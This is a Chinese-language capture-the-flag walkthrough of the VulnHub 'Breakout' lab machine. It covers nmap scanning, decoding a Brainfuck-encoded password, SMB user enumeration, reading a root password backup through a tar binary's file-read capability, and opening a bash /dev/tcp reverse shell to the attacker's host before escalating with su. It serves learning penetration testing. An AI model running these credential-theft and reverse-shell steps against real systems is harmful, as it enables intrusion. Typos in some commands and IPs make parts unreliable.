Breakout

---

title: vulnhub-Breakout
date: 2022-10-11 15:29:25
tags:

• 渗透学习
• vulnhub
  categories:
• vulnhub
  cover:

---

Breakout

第一步知道自己的ip，kali打开终端输入

ifconfig

知道了我们的ip为192.168.223.128

用nmap工具，因为靶场和kali都在自己电脑的vmware里，所以这俩在一个网段

因此扫描自己ip的网段

nmao -sP 192.168.223.128/24

128是本机，按照经验我们先测试133这个ip，使用nmap扫描端口

nmap -p 1-40000 192.168.233.133

发现开放了5个端口，可以判定这个就是我们的Breakout靶场了

继续利用nmap扫描，观察是否存在漏洞

nmap --script=vuln 192.168.223.133

发现10000端口存在cve-2006-339漏洞

但是网络上没有相关的复现，也没有poc无法验证

所以先去80端口看看http服务

浏览器上输入靶场ip即192.168.233.133访问页面

右键按V查看源码可以看到提示

这是一个Brainfuck的编码

网上搜索Brainfuck在线解密（这里给你们找了一个网站）然后把504这段字符串放进去解密点击Brainfuck to Text解密得到解密文本

这个字符串大概率是密码
.2uqPEfj3D<P'a-3

再查看其他页面

访问139和445端口时无法访问，但是访问10000和20000端口时返回了页面

密码我们获取了，我们得想办法获取用户名，

之前nmap扫描发现存在smb服务

这里我们可以使用enum4linux工具枚举用户名

enum4linux -r 192.168.223.133

发现了一个cyber的用户

尝试去登录，发现在端口为20000的网页上能登录，并且找到了shell界面（密码为.2uqPEfj3D<P’a-3）

进入shell界面第一步就是先ls查看文件

发现了user.txt文件，敏感的我们打开他便发现了第一个flag

ls
cat user.txt

接下来我们需要提权，首先想到的是suid提权，输入下面的命令，看看有没有可以提权的执行文件

find / -perm -u=s -type f 2>/dev/null

遗憾的是并没有可以提权的可执行文件，具体哪些文件可以提权参考这个地址[linux利用SUID提权](Linux下利用SUID提权 - 腾讯云开发者社区-腾讯云 (tencent.com))，原理是通过某些特定文件的s权限提权，s权限可以让文件在执行过程中保持root权限，执行结束后恢复普通用户权限，利用这一特性可以提权

这时想到了当时ls发现下面还有也给tar文件

网上查询资料知道tar也可以用来提权

getcap tar

发现有 cap_dac_read_search=ep 功能，能读取文件。在 /var/backups 目录下发现了一个密码备份文件：

即.old_pass.bak，但是只是只允许管理员来读取

上面tar可以读取任意文件，利用这一特性我们可以吧这个文件先压缩，在解压，这样这个文件的创建者用户就从root变成了我们

现在我们得回到之前的cyber的目录，因为那个目录才有tar命令

cd /home/cyber
./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar
cat var/backups/.old_pass.bak

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BVhuQZze-1665478661190)(
)]

于是得到了root的密码

Ts&4&YurgtRX(=~h

我们使用su命令发现不能直接使用 这个命令(原因我也没看明白，原文没说)

所以我们使用反弹shell的方式，可以在我们kali的机器上连接靶机的shell

先在kali上输入
nc -lvvp 7777
再在网页上输入
bash -i >& /dev/tcp/192.168.223.128/7777 0>&1

可以看到kali上已经连接上了，用户前面已经是cyber@breakout

现在就可以执行su命令

su
Ts&4&YurgtRX(=~h
id

可以看到已经是root权限了

cd /root
ls

看到rOOt.txt

cat rOOt.txt

得到最终的flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1rWHjx7Q-1665478661192)(
)]

参考文献

Vulnhub-Empire: Breakout题解 - C0ngvv - 博客园

Vulnhub 靶场 EMPIRE: BREAKOUT - sainet - 博客园

参考文献

Vulnhub-Empire: Breakout题解 - C0ngvv - 博客园

Vulnhub 靶场 EMPIRE: BREAKOUT - sainet - 博客园

vulnhub-EMPIRE: BREAKOUT_大西瓜的安全之路的博客-CSDN博客